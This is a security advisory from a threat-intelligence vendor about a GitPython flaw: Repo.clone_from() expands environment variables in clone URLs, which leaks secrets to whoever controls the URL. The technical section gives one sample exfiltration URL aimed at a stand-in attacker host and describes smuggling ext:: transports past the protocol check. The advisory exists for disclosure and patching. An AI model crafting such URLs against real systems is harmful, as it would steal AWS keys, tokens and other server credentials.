# CVE-2026-67322: GitPython environment-variable exfiltration in Repo.clone_from()

Source: https://junglewise.ai/threats/cve-2026-67322-gitpython-environment-variable-exfiltration-in-repo-clone-from  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-08-01. Updated: 2026-09-25  
License: CC BY 4.0 with a link back

CVE-2026-67322 · Severity: high · CVSS 7.5 · Published 2026-08-01

GitPython is a popular Python library for working with Git repositories. A vulnerability in the clone_from() function allows attackers to extract sensitive environment variables (such as AWS credentials or GitHub tokens) from servers by controlling the clone URL. When a user attempts to clone a repository from an attacker-supplied URL containing special tokens, the library expands those tokens to the server's secrets before transmitting the URL over the network to the attacker's host, resulting in credential exposure.

Technologies: [Gitpython Project Gitpython](https://junglewise.ai/threats/technologies/gitpython), [gitpython (PyPI)](https://junglewise.ai/threats/technologies/pypi-gitpython). Vendors: [Gitpython Project](https://junglewise.ai/threats/vendors/gitpython-project), [PyPI](https://junglewise.ai/threats/vendors/pypi).

## Quick answers

**Is CVE-2026-67322 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-67322 being exploited in the wild.

**How severe is CVE-2026-67322?** High severity, with a CVSS score of 7.5, published 1 August 2026.

**Which products and versions are affected?** gitpython (PyPI) ECOSYSTEM:introduced=0,fixed=3.1.52.

**Is there a fix for CVE-2026-67322?** Yes. gitpython (PyPI): upgrade to 3.1.52 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2026-67322 attacked?** It is attacked over the network.

**Am I affected by CVE-2026-67322?** Check whether you run Gitpython Project Gitpython or gitpython (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- gitpython (PyPI): upgrade to 3.1.52 or later

  ```sh
  pip install "gitpython>=3.1.52"
  ```


## Technical details

The vulnerability exists in GitPython's Git.polish_url() function, which unconditionally calls os.path.expandvars() on remote clone URLs before passing them to the git clone subprocess. On non-Cygwin platforms, this function expands environment variables embedded in the URL (e.g., $AWS_SECRET_ACCESS_KEY or ${GITHUB_TOKEN}) to their actual values. An attacker who controls the URL argument to Repo.clone_from() can craft a URL like https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git, which is expanded server-side to include the literal secret value. The git clone command then transmits this expanded URL (containing the secret) to the attacker-controlled host. Additionally, the unsafe-protocol check runs on the pre-expansion URL, allowing bypass by embedding ext:: transports in environment variables. GitPython versions before 3.1.52 are affected; the fix removes environment-variable expansion from remote URLs.

## Affected products

- GitPython GitPython before 3.1.52

## Identifiers

- CVE-2026-67322
- GHSA-rwj8-pgh3-r573
- PYSEC-2026-3842

## Timeline

- 2026-07-16: disclosed: GitHub Security Advisory GHSA-rwj8-pgh3-r573 published
- 2026-08-01: advisory: CVE-2026-67322 published
- 2026: patched: Fixed in GitPython 3.1.52

## References

- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
- [https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from](https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from)

## Related threats

- [GitPython command wrappers omit unsafe protocol and option checks](https://junglewise.ai/threats/cve-2026-110857-gitpython-command-wrappers-omit-unsafe-protocol-and-option)
- [GitPython submodule path traversal to arbitrary hook execution](https://junglewise.ai/threats/cve-2026-114145-gitpython-is-a-python-library-used-to-interact-with-git)
- [GitPython symlink following in Submodule.move()](https://junglewise.ai/threats/cve-2026-110860-gitpython-from-3-1-62-before-3-2-0-contains-a-symlink-following)
- [GitPython argument injection in Head.checkout()](https://junglewise.ai/threats/cve-2026-110859-gitpython-before-3-2-0-contains-an-argument-injection)
- [GitPython remote code execution in Remote.pull() refspec argument](https://junglewise.ai/threats/cve-2026-110858-gitpython-from-3-1-30-before-3-2-0-contains-a-remote-code)
